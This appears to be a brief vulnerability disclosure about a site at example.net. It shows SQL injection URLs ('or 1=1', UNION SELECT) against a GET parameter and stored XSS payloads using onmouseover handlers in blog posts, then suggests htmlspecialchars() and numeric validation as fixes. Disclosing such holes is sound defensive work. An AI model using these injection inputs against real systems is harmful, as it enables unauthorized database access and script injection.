As for the sql injection portion, several GET variables allow for the injection of SQL queries.

http://www.example.net/index.php?current_subsection=2 or 1=1/*
^^ dumps all table data.
http://www.example.net/index.php?current_subsection=2%20union%20all%20se
lect blah from content/*

The following bits of code work on the blog.
<B onmousemver="javascript:alert('lol')">Pizza pie</B>
<OL onmouseover="alert('lol')">I like it</OL>

The fix for now is to filter blog entries with either a regex or the htmlspecialchars() function. The sql injection can be prevented by making sure the variables are numeric.
